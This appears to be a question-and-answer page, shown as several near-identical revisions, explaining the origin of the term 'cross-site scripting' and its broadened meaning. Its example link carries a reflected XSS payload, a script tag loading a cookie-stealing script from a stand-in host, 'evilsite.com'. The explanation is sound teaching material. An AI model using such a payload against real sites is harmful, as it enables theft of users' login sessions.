Return to Answer

From the link schroeder gave in the comment the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'. Clicking on the link on evilsite.com results in a redirection to nicesite.com . The combination of nicesite.com failing to escape the query parameter puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> before writing it to the page produces the cross site attack by loading the evilsite.com script. (example simplified from wikipedia article). This attack (known specifically as a reflected and non-persistent XSS) is cross site because it came from and required evil.com, as opposed to only requiring a vulnerability in nicesite.com.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

It goes on to explain that XSS term has broadened to now include things that don't involve cross site.

The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name. From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content. Naming is hard so it's unlikely to change. The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!

By the way this is an excellent question and one I pondered myself.

From the link schroeder gave in the comment the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'. Clicking on the link on evilsite.com results in a redirection to nicesite.com . The combination of nicesite.com failing to escape the query parameter puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> before writing it to the page produces the cross site attack by loading the evilsite.com script. (example simplified from wikipedia article). This attack (known specifically as a reflected and non-persistent XSS) is cross site because it came from and required evil.com, as opposed to only requiring a vulnerability in nicesite.com.

(*** Edit: *** As pointed out in the comments the link can also come from an email or a different site. So you could also go to othersite.com and click the link pointing to nicesite.com with the XSS payload for evilsite.com.)

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

It goes on to explain that XSS term has broadened to now include things that don't involve cross site.

The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name. From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content. Naming is hard so it's unlikely to change. The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!

By the way this is an excellent question and one I pondered myself.

This is an excellent question and one I pondered myself. The link schroeder gave in the comment is good and from this description the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'. Clicking on the link on evilsite.com results in a redirection to nicesite.com . The combination of nicesite.com failing to escape the query parameter puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> before writing it to the page produces the cross site attack by loading the evilsite.com script. (example simplified from wikipedia article). This attack (known specifically as a reflected and non-persistent XSS) is cross site because it came from and required evil.com, as opposed to only requiring a vulnerability in nicesite.com.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

It goes on to explain that XSS term has broadened to now include things that don't involve cross site.

The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name. From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content. Naming is hard so it's unlikely to change. The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!

From the link schroeder gave in the comment the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'. Clicking on the link on evilsite.com results in a redirection to nicesite.com . The combination of nicesite.com failing to escape the query parameter puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> before writing it to the page produces the cross site attack by loading the evilsite.com script. (example simplified from wikipedia article). This attack (known specifically as a reflected and non-persistent XSS) is cross site because it came from and required evil.com, as opposed to only requiring a vulnerability in nicesite.com.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

It goes on to explain that XSS term has broadened to now include things that don't involve cross site.

The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name. From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content. Naming is hard so it's unlikely to change. The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!

By the way this is an excellent question and one I pondered myself.

This is an excellent question and one I pondered myself. The link schroeder gave in the comment is good:

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

From this description the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>' (example simplified from wikipedia article). This attack (known specifically as a reflected and non-persistent XSS) is cross site because it comes from and requires evil.com, as opposed to only requiring a vulnerability in nicesite.com.

It goes on to explain that XSS term has broadened to now include things that don't involve cross site (additional examples include an attack link that could have been sent via email, or even on a paper letter!). Also the example has its command and control at another website but easy could have been a bare IP address.

The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name. From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content. Naming is hard so it's unlikely to change. The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!

This is an excellent question and one I pondered myself. The link schroeder gave in the comment is good and from this description the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'. Clicking on the link on evilsite.com results in a redirection to nicesite.com . The combination of nicesite.com failing to escape the query parameter puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> before writing it to the page produces the cross site attack by loading the evilsite.com script. (example simplified from wikipedia article). This attack (known specifically as a reflected and non-persistent XSS) is cross site because it came from and required evil.com, as opposed to only requiring a vulnerability in nicesite.com.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

It goes on to explain that XSS term has broadened to now include things that don't involve cross site.

The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name. From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content. Naming is hard so it's unlikely to change. The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!